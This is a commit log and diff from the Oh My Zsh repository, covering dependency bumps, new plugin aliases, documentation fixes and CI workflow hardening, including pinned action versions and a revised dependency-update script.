dependabot[bot] 1381fec0bf chore(deps): bump urllib3 from 2.6.3 to 2.7.0 in /.github/workflows/dependencies (#13738)
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.6.3 to 2.7.0.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.6.3...2.7.0)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-version: 2.7.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-11 11:00:05 +02:00
Laurens Rouw 3604dc23e0 feat(jj): add new alias for new bookmark advance command (#13638) 2026-05-06 11:42:33 -07:00
ChrisJr404 8ab16fa493 docs(brew): correct brews description (#13730) 2026-05-06 14:34:32 +02:00
ohmyzsh[bot] e64912e0c1 chore(gradle): update to version d8bc301a (#13724)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
2026-05-04 09:20:10 +02:00
ohmyzsh[bot] c24960c324 chore(z): update to version acd0e198 (#13725)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
2026-05-04 09:19:36 +02:00
dependabot[bot] 571439d06b chore(deps): bump step-security/harden-runner from 2.19.0 to 2.19.1 (#13727)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-04 09:18:30 +02:00
dependabot[bot] ff8297b0a9 chore(deps): bump github/codeql-action from 4.35.2 to 4.35.3 (#13726)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-04 09:18:11 +02:00
Fabricio e7aa0c56e6 feat(fnm): add autostart option to setup fnm env (#12972) 2026-04-30 10:03:00 +02:00
ohmyzsh[bot]andMahesh Subramanian 2d5841740a chore(z): update to 519e5796 (#13716)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
Co-authored-by: Mahesh Subramanian <maheshpec123@gmail.com>
2026-04-28 09:41:08 +02:00
Dylan RomanandCarlo Sala 278ee100fc fix(git): replace deprecated syntax for percent substitution in prompt (#13705) (#13706)
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-04-27 14:50:08 +02:00
Stephan Schielke 52c830cd32 fix(poetry-env): handle Poetry returning "." for venv path (#13183) 2026-04-27 11:06:54 +02:00
Thomas Renoth 8c3cce964a feat(bgnotify): add niri WM support (#13707) 2026-04-27 09:33:31 +02:00
ohmyzsh[bot] d50115afd6 chore(z): update to version ae10ba3f (#13710)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
2026-04-27 09:20:10 +02:00
dependabot[bot] 232c6e4d8d chore(deps): bump idna from 3.11 to 3.13 in /.github/workflows/dependencies (#13712)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-27 09:19:09 +02:00
dependabot[bot] 50c56eb49b chore(deps): bump certifi from 2026.2.25 to 2026.4.22 in /.github/workflows/dependencies (#13713)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-27 09:15:39 +02:00
dependabot[bot] bbe8cace5a chore(deps): bump step-security/harden-runner from 2.18.0 to 2.19.0 (#13711)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-27 09:15:13 +02:00
Truffle 349b9e49ce docs(kubectl): add missing aliases (#13699) 2026-04-20 11:01:03 +02:00
a4ee4daf3c fix(tmux): treat xterm-direct as 256-color (#13700)
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: lawrence3699 <lawrence3699@users.noreply.github.com>
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-04-20 11:00:37 +02:00
dependabot[bot] 7a6357cbf6 chore(deps): bump step-security/harden-runner from 2.17.0 to 2.18.0 (#13697)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-20 10:55:24 +02:00
dependabot[bot] 106b887c1f chore(deps): bump github/codeql-action from 4.35.1 to 4.35.2 (#13698)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-20 10:54:07 +02:00
Carlo Sala e42ac8c57b ci: add strong permission (#13694) 2026-04-16 19:05:24 +02:00
Carlo Sala 061f773dd3 ci: use client-id rather than app-id (#13690) 2026-04-13 11:31:03 +02:00
dependabot[bot] c53cfb2de4 chore(deps): bump actions/create-github-app-token from 3.0.0 to 3.1.1 (#13689)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-13 10:51:45 +02:00
dependabot[bot] 1708d84b70 chore(deps): bump step-security/harden-runner from 2.16.1 to 2.17.0 (#13687)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-13 09:54:42 +02:00
dependabot[bot] 46c673072e chore(deps): bump actions/upload-artifact from 7.0.0 to 7.0.1 (#13688)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-13 09:54:23 +02:00
Chris Schindlbeck 7c10d9839f feat(terraform): add aliases for terraform: tfapp, tfpo 2026-04-07 12:25:32 +02:00
Chris Schindlbeck 103246c198 feat(opentofu): add aliases for opentofu: ttap, ttapp, ttir, ttiu, ttiur, ttpo 2026-04-07 12:25:32 +02:00
dependabot[bot] 887a864aba chore(deps): bump charset-normalizer in /.github/workflows/dependencies (#13669)
Bumps [charset-normalizer](https://github.com/jawah/charset_normalizer) from 3.4.6 to 3.4.7.
- [Release notes](https://github.com/jawah/charset_normalizer/releases)
- [Changelog](https://github.com/jawah/charset_normalizer/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jawah/charset_normalizer/compare/3.4.6...3.4.7)

---
updated-dependencies:
- dependency-name: charset-normalizer
  dependency-version: 3.4.7
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-05 19:28:10 +02:00
dependabot[bot] d1fb3ebfc7 chore(deps): bump requests in /.github/workflows/dependencies (#13668)
Bumps [requests](https://github.com/psf/requests) from 2.33.0 to 2.33.1.
- [Release notes](https://github.com/psf/requests/releases)
- [Changelog](https://github.com/psf/requests/blob/main/HISTORY.md)
- [Commits](https://github.com/psf/requests/compare/v2.33.0...v2.33.1)

---
updated-dependencies:
- dependency-name: requests
  dependency-version: 2.33.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-05 19:27:23 +02:00
dependabot[bot] beab0c0b3c chore(deps): bump step-security/harden-runner from 2.16.0 to 2.16.1 (#13667)
Bumps [step-security/harden-runner](https://github.com/step-security/harden-runner) from 2.16.0 to 2.16.1.
- [Release notes](https://github.com/step-security/harden-runner/releases)
- [Commits](https://github.com/step-security/harden-runner/compare/fa2e9d605c4eeb9fcad4c99c224cee0c6c7f3594...fe104658747b27e96e4f7e80cd0a94068e53901d)

---
updated-dependencies:
- dependency-name: step-security/harden-runner
  dependency-version: 2.16.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-05 19:26:46 +02:00
ohmyzsh[bot] f0e2160abb chore(kube-ps1): update to e19c9ee8 (#13666)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
2026-04-05 14:39:19 +02:00
dependabot[bot] 9e2c1548c3 chore(deps): bump github/codeql-action from 4.34.1 to 4.35.1 (#13654)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-30 09:53:36 +02:00
Adam Alston cb13cc539f docs(vscode): align README with current CLI behavior (#13653) 2026-03-29 08:02:29 +02:00
Marc CornellàandDaniel Bates 76ffd9e22a fix(installer): handle sudo shims that don't support -k flag (#13651)
Related to #13585

Co-authored-by: Daniel Bates <daniel@batesai.org>
2026-03-26 20:09:56 +01:00
dependabot[bot] 11c1718983 chore(deps): bump requests from 2.32.5 to 2.33.0 in /.github/workflows/dependencies (#13649)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-26 18:38:42 +01:00
Alexey Trofimenko 9151236d1e feat(yarn): use proper $PWD var (#13639) 2026-03-24 08:54:43 +01:00
Nathanael Tehilla Gunawan 7e7cb5a23c fix(dpoggi): ensure correct Ghostty rendering (#13644) 2026-03-24 08:50:36 +01:00
Przemysław Janiszewski 2614f529ce docs(poetry): fix typo (#13646) 2026-03-24 08:44:42 +01:00
dependabot[bot] df64afb062 chore(deps): bump charset-normalizer from 3.4.5 to 3.4.6 (#13643)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-23 09:13:10 +01:00
dependabot[bot] 21dbafa904 chore(deps): bump github/codeql-action from 4.32.6 to 4.34.1 (#13642)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-23 09:12:49 +01:00
dependabot[bot] cfad9e07f6 chore(deps): bump step-security/harden-runner from 2.15.1 to 2.16.0 (#13641)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-23 09:12:34 +01:00
Nikan Eidi 44394e7225 feat(docker): add aliases for container, network, and system prune (#13612)
* feat(docker): add aliases for container, network, and system prune

This PR adds missing aliases for Docker prune commands (container, network, and system) to the docker plugin, improving consistency with the existing image and volume prune aliases.

* docs(docker): add prune aliases to README

Added 'dcprune', 'dnprune', and 'dsprune' aliases for container, network, and system pruning.

* docs(docker): add prune aliases to README
2026-03-19 09:05:20 -07:00
Halil Özgür 4daba14316 refactor(bundler): Remove bundle_install and just use: bundle install (#13617) 2026-03-18 09:26:47 -07:00
Rohan Santhosh Kumarandrohan436 bec3f2244a docs(vscode): fix typo (#13627)
Co-authored-by: rohan436 <rohan.santhoshkumar@googlemail.com>
2026-03-16 12:00:44 +01:00
dependabot[bot] b42f22643a chore(deps): bump actions/create-github-app-token from 2.2.1 to 3.0.0 (#13636)
Bumps [actions/create-github-app-token](https://github.com/actions/create-github-app-token) from 2.2.1 to 3.0.0.
- [Release notes](https://github.com/actions/create-github-app-token/releases)
- [Commits](https://github.com/actions/create-github-app-token/compare/29824e69f54612133e76f7eaac726eef6c875baf...f8d387b68d61c58ab83c6c016672934102569859)

---
updated-dependencies:
- dependency-name: actions/create-github-app-token
  dependency-version: 3.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-16 07:52:03 +01:00
ohmyzsh[bot] 7de13621b3 chore(gradle): update to dd3a8adb (#13635)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
2026-03-15 09:26:19 +01:00
Alessandro Elio Cantini 8df5c1b18b fix(last-working-dir): use explicit return 0 in early-exit guards (#13623) 2026-03-10 10:52:12 +01:00
dependabot[bot] d1222044bc chore(deps): bump charset-normalizer in /.github/workflows/dependencies (#13621)
Bumps [charset-normalizer](https://github.com/jawah/charset_normalizer) from 3.4.4 to 3.4.5.
- [Release notes](https://github.com/jawah/charset_normalizer/releases)
- [Changelog](https://github.com/jawah/charset_normalizer/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jawah/charset_normalizer/compare/3.4.4...3.4.5)

---
updated-dependencies:
- dependency-name: charset-normalizer
  dependency-version: 3.4.5
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-09 21:20:56 +01:00
dependabot[bot] 44c0e856f8 chore(deps): bump github/codeql-action from 4.32.4 to 4.32.6 (#13622)
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 4.32.4 to 4.32.6.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/89a39a4e59826350b863aa6b6252a07ad50cf83e...0d579ffd059c29b07949a3cce3983f0780820c98)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-version: 4.32.6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-09 21:20:27 +01:00
dependabot[bot] 2bc4538c36 chore(deps): bump step-security/harden-runner from 2.15.0 to 2.15.1 (#13620)
Bumps [step-security/harden-runner](https://github.com/step-security/harden-runner) from 2.15.0 to 2.15.1.
- [Release notes](https://github.com/step-security/harden-runner/releases)
- [Commits](https://github.com/step-security/harden-runner/compare/a90bcbc6539c36a85cdfeb73f7e2f433735f215b...58077d3c7e43986b6b15fba718e8ea69e387dfcc)

---
updated-dependencies:
- dependency-name: step-security/harden-runner
  dependency-version: 2.15.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-09 21:20:08 +01:00
layla 1e3abc123f chore: change freeBSD to FreeBSD (#13614) 2026-03-06 12:09:18 +01:00
ohmyzsh[bot]andMarc Cornellà abc2372919 chore(history-substring-search): update to version 14c8d2e0 (#13521)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
Co-authored-by: Marc Cornellà <marc@mcornella.com>
2026-03-06 11:09:41 +01:00
Markus Hofbauer 5292fea2ba feat(pre-commit): add prek support (#13529)
Closes #13432
2026-03-04 09:28:48 +01:00
Nicknamess96andNicknames96 4f8632db32 docs(jj): compatibility with git async prompt (#13602)
Co-authored-by: Nicknames96 <nicknames96@users.noreply.github.com>
2026-03-04 09:25:22 +01:00
185 changed files with 4477 additions and 1011 deletions
+14
View File
@@ -6,9 +6,23 @@ updates:
interval: "weekly" interval: "weekly"
day: "sunday" day: "sunday"
labels: [] labels: []
groups:
gha-minor:
patterns:
- "*"
update-types:
- minor
- patch
- package-ecosystem: "pip" - package-ecosystem: "pip"
directory: "/.github/workflows/dependencies" directory: "/.github/workflows/dependencies"
schedule: schedule:
interval: "weekly" interval: "weekly"
day: "sunday" day: "sunday"
labels: [] labels: []
groups:
py-minor:
patterns:
- "*"
update-types:
- minor
- patch
+5 -4
View File
@@ -12,14 +12,14 @@ dependencies:
plugins/gradle: plugins/gradle:
repo: gradle/gradle-completion repo: gradle/gradle-completion
branch: master branch: master
version: a9d7c822e42cc6a5b028b59e46cffcc8e7bc1134 version: 63578c9bc56134b80766e88957ba0239e6be2343
precopy: | precopy: |
set -e set -e
find . ! -name _gradle ! -name LICENSE -delete find . ! -name _gradle ! -name LICENSE -delete
plugins/history-substring-search: plugins/history-substring-search:
repo: zsh-users/zsh-history-substring-search repo: zsh-users/zsh-history-substring-search
branch: master branch: master
version: 87ce96b1862928d84b1afe7c173316614b30e301 version: 14c8d2e0ffaee98f2df9850b19944f32546fdea5
precopy: | precopy: |
set -e set -e
rm -f zsh-history-substring-search.plugin.zsh rm -f zsh-history-substring-search.plugin.zsh
@@ -30,7 +30,7 @@ dependencies:
plugins/kube-ps1: plugins/kube-ps1:
repo: jonmosco/kube-ps1 repo: jonmosco/kube-ps1
branch: master branch: master
version: 9b41c091d5dd4a99e58cf58b5d98a4847937b1bb version: 04af46f7fe888ad287abcab6699b9bb10234bc3d
precopy: | precopy: |
set -e set -e
find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete
@@ -46,9 +46,10 @@ dependencies:
plugins/z: plugins/z:
branch: master branch: master
repo: agkozak/zsh-z repo: agkozak/zsh-z
version: cf9225feebfae55e557e103e95ce20eca5eff270 version: 102fb78036ed76feedf623907483691777a1d510
precopy: | precopy: |
set -e set -e
rm -r tests
test -e README.md && mv -f README.md MANUAL.md test -e README.md && mv -f README.md MANUAL.md
postcopy: | postcopy: |
set -e set -e
+8 -5
View File
@@ -4,6 +4,9 @@ on:
schedule: schedule:
- cron: "0 6 * * 0" - cron: "0 6 * * 0"
permissions:
contents: read
jobs: jobs:
check: check:
name: Check for updates name: Check for updates
@@ -13,22 +16,22 @@ jobs:
contents: write # this is needed to push commits and branches contents: write # this is needed to push commits and branches
steps: steps:
- name: Harden the runner (Audit all outbound calls) - name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0 uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
with: with:
egress-policy: audit egress-policy: audit
- name: Checkout - name: Checkout
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with: with:
fetch-depth: 0 fetch-depth: 0
- name: Authenticate as @ohmyzsh - name: Authenticate as @ohmyzsh
id: generate-token id: generate-token
uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1 uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
with: with:
app-id: ${{ secrets.OHMYZSH_APP_ID }} client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
- name: Setup Python - name: Setup Python
uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with: with:
python-version: "3.12" python-version: "3.12"
cache: "pip" cache: "pip"
@@ -1,7 +1,7 @@
certifi==2026.2.25 certifi==2026.7.22
charset-normalizer==3.4.4 charset-normalizer==3.5.1
idna==3.11 idna==3.19
PyYAML==6.0.3 PyYAML==6.0.3
requests==2.32.5 requests==2.34.2
semver==3.0.4 semver==3.0.4
urllib3==2.6.3 urllib3==2.7.0
+12 -10
View File
@@ -219,6 +219,7 @@ class Dependency:
if status["has_updates"] is True: if status["has_updates"] is True:
short_sha = status["head_ref"][:8] short_sha = status["head_ref"][:8]
new_version = status["version"] if is_tag else short_sha new_version = status["version"] if is_tag else short_sha
source_ref = new_version if is_tag else status["head_ref"]
try: try:
branch_name = f"update/{self.path}/{new_version}" branch_name = f"update/{self.path}/{new_version}"
@@ -227,7 +228,7 @@ class Dependency:
branch = Git.checkout_or_create_branch(branch_name) branch = Git.checkout_or_create_branch(branch_name)
# Update dependency files # Update dependency files
self.__apply_upstream_changes() self.__apply_upstream_changes(source_ref)
if not Git.repo_is_clean(): if not Git.repo_is_clean():
# Update dependencies.yml file # Update dependencies.yml file
@@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}).
dep_yaml = DependencyStore.update_dependency_version(self.path, new_version) dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml) DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)
def __apply_upstream_changes(self) -> None: def __apply_upstream_changes(self, ref: str) -> None:
# Patterns to ignore in copying files from upstream repo # Patterns to ignore in copying files from upstream repo
GLOBAL_IGNORE = [".git", ".github", ".gitignore"] GLOBAL_IGNORE = [".git", ".github", ".gitignore"]
@@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}).
postcopy = self.values.get("postcopy") postcopy = self.values.get("postcopy")
repo = self.values["repo"] repo = self.values["repo"]
branch = self.values["branch"]
remote_url = f"https://github.com/{repo}.git" remote_url = f"https://github.com/{repo}.git"
repo_dir = os.path.join(TMP_DIR, repo) repo_dir = os.path.join(TMP_DIR, repo)
# Clone repository # Clone repository
Git.clone(remote_url, branch, repo_dir, reclone=True) Git.clone(remote_url, ref, repo_dir, reclone=True)
# Run precopy on tmp repo # Run precopy on tmp repo
if precopy is not None: if precopy is not None:
@@ -348,7 +348,7 @@ class Git:
default_branch = "master" default_branch = "master"
@staticmethod @staticmethod
def clone(remote_url: str, branch: str, repo_dir: str, reclone=False): def clone(remote_url: str, ref: str, repo_dir: str, reclone=False):
# If repo needs to be fresh # If repo needs to be fresh
if reclone and os.path.exists(repo_dir): if reclone and os.path.exists(repo_dir):
shutil.rmtree(repo_dir) shutil.rmtree(repo_dir)
@@ -356,11 +356,11 @@ class Git:
# Clone repo in tmp directory and checkout branch # Clone repo in tmp directory and checkout branch
if not os.path.exists(repo_dir): if not os.path.exists(repo_dir):
print( print(
f"Cloning {remote_url} to {repo_dir} and checking out {branch}", f"Cloning {remote_url} to {repo_dir} and checking out {ref}",
file=sys.stderr, file=sys.stderr,
) )
CommandRunner.run_or_fail( CommandRunner.run_or_fail(
["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir], ["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir],
stage="Clone", stage="Clone",
) )
@@ -392,13 +392,15 @@ class Git:
Returns `False` if the repo is dirty. Returns `False` if the repo is dirty.
""" """
try: try:
CommandRunner.run_or_fail( result = CommandRunner.run_or_fail(
["git", "diff", "--exit-code"], stage="CheckRepoClean" ["git", "status", "--porcelain", "--untracked-files=normal"],
stage="CheckRepoClean",
) )
return True
except CommandRunner.Exception: except CommandRunner.Exception:
return False return False
return result.stdout.strip() == b""
@staticmethod @staticmethod
def add_and_commit(scope: str, version: str) -> bool: def add_and_commit(scope: str, version: str) -> bool:
""" """
+4 -4
View File
@@ -26,12 +26,12 @@ jobs:
- macos-latest - macos-latest
steps: steps:
- name: Harden the runner (Audit all outbound calls) - name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0 uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
with: with:
egress-policy: audit egress-policy: audit
- name: Set up git repository - name: Set up git repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- name: Install zsh - name: Install zsh
if: runner.os == 'Linux' if: runner.os == 'Linux'
run: sudo apt-get update; sudo apt-get install zsh run: sudo apt-get update; sudo apt-get install zsh
@@ -47,12 +47,12 @@ jobs:
- test - test
steps: steps:
- name: Harden the runner (Audit all outbound calls) - name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0 uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
with: with:
egress-policy: audit egress-policy: audit
- name: Checkout - name: Checkout
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- name: Install Vercel CLI - name: Install Vercel CLI
run: npm install -g vercel run: npm install -g vercel
- name: Setup project and deploy - name: Setup project and deploy
+2 -2
View File
@@ -24,12 +24,12 @@ jobs:
if: github.repository == 'ohmyzsh/ohmyzsh' if: github.repository == 'ohmyzsh/ohmyzsh'
steps: steps:
- name: Harden the runner (Audit all outbound calls) - name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0 uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
with: with:
egress-policy: audit egress-policy: audit
- name: Set up git repository - name: Set up git repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- name: Install zsh - name: Install zsh
run: sudo apt-get update; sudo apt-get install zsh run: sudo apt-get update; sudo apt-get install zsh
- name: Check syntax - name: Check syntax
+3 -3
View File
@@ -17,14 +17,14 @@ jobs:
if: github.repository == 'ohmyzsh/ohmyzsh' if: github.repository == 'ohmyzsh/ohmyzsh'
steps: steps:
- name: Harden the runner (Audit all outbound calls) - name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0 uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
with: with:
egress-policy: audit egress-policy: audit
- name: Authenticate as @ohmyzsh - name: Authenticate as @ohmyzsh
id: generate-token id: generate-token
uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1 uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
with: with:
app-id: ${{ secrets.OHMYZSH_APP_ID }} client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }} private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
- name: Read project data - name: Read project data
env: env:
+5 -5
View File
@@ -36,30 +36,30 @@ jobs:
steps: steps:
- name: Harden the runner (Audit all outbound calls) - name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0 uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
with: with:
egress-policy: audit egress-policy: audit
- name: "Checkout code" - name: "Checkout code"
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with: with:
persist-credentials: false persist-credentials: false
- name: "Run analysis" - name: "Run analysis"
uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3 uses: ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc # v2.4.4
with: with:
results_file: results.sarif results_file: results.sarif
results_format: sarif results_format: sarif
publish_results: true publish_results: true
- name: "Upload artifact" - name: "Upload artifact"
uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0 uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with: with:
name: SARIF file name: SARIF file
path: results.sarif path: results.sarif
retention-days: 5 retention-days: 5
- name: "Upload to code-scanning" - name: "Upload to code-scanning"
uses: github/codeql-action/upload-sarif@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 uses: github/codeql-action/upload-sarif@cdf488f595d80d6e07e03d4674febd5ab45fa938 # v4.37.9
with: with:
sarif_file: results.sarif sarif_file: results.sarif
+6
View File
@@ -4,7 +4,12 @@ custom/
# temp files directories # temp files directories
cache/ cache/
log/ log/
# Vim swap/backup files
*.swp *.swp
*.swo
# macOS system files
.DS_Store .DS_Store
# editor configs # editor configs
@@ -13,3 +18,4 @@ log/
# zcompile cached files # zcompile cached files
*.zwc *.zwc
*.zwc.old
+3 -3
View File
@@ -46,7 +46,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
- [Manual Installation](#manual-installation) - [Manual Installation](#manual-installation)
- [Installation Problems](#installation-problems) - [Installation Problems](#installation-problems)
- [Custom Plugins And Themes](#custom-plugins-and-themes) - [Custom Plugins And Themes](#custom-plugins-and-themes)
- [Enable GNU ls In macOS And freeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems) - [Enable GNU ls In macOS And FreeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
- [Skip Aliases](#skip-aliases) - [Skip Aliases](#skip-aliases)
- [Async git prompt](#async-git-prompt) - [Async git prompt](#async-git-prompt)
- [Getting Updates](#getting-updates) - [Getting Updates](#getting-updates)
@@ -70,7 +70,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
| O/S | Status | | O/S | Status |
| :------------- | :----: | | :------------- | :----: |
| Android | ✅ | | Android | ✅ |
| freeBSD | ✅ | | FreeBSD | ✅ |
| LCARS | 🛸 | | LCARS | 🛸 |
| Linux | ✅ | | Linux | ✅ |
| macOS | ✅ | | macOS | ✅ |
@@ -349,7 +349,7 @@ If you have many functions that go well together, you can put them as a `XYZ.plu
If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the
same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`. same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`.
### Enable GNU ls In macOS And freeBSD Systems ### Enable GNU ls In macOS And FreeBSD Systems
<a name="enable-gnu-ls"></a> <a name="enable-gnu-ls"></a>
+2 -2
View File
@@ -371,7 +371,7 @@ multi == 1 && /^[^#]*\)/ {
next next
} }
# if multi flag is enabled and we didnt find a closing parenthesis, # if multi flag is enabled and we didn't find a closing parenthesis,
# get the indentation level to match when adding plugins # get the indentation level to match when adding plugins
multi == 1 && /^[^#]*/ { multi == 1 && /^[^#]*/ {
indent=\"\" indent=\"\"
@@ -519,7 +519,7 @@ function _omz::plugin::load {
# Check if it has completion to reload compinit # Check if it has completion to reload compinit
local -a comp_files local -a comp_files
comp_files=($base/_*(N)) comp_files=($base/_*(N))
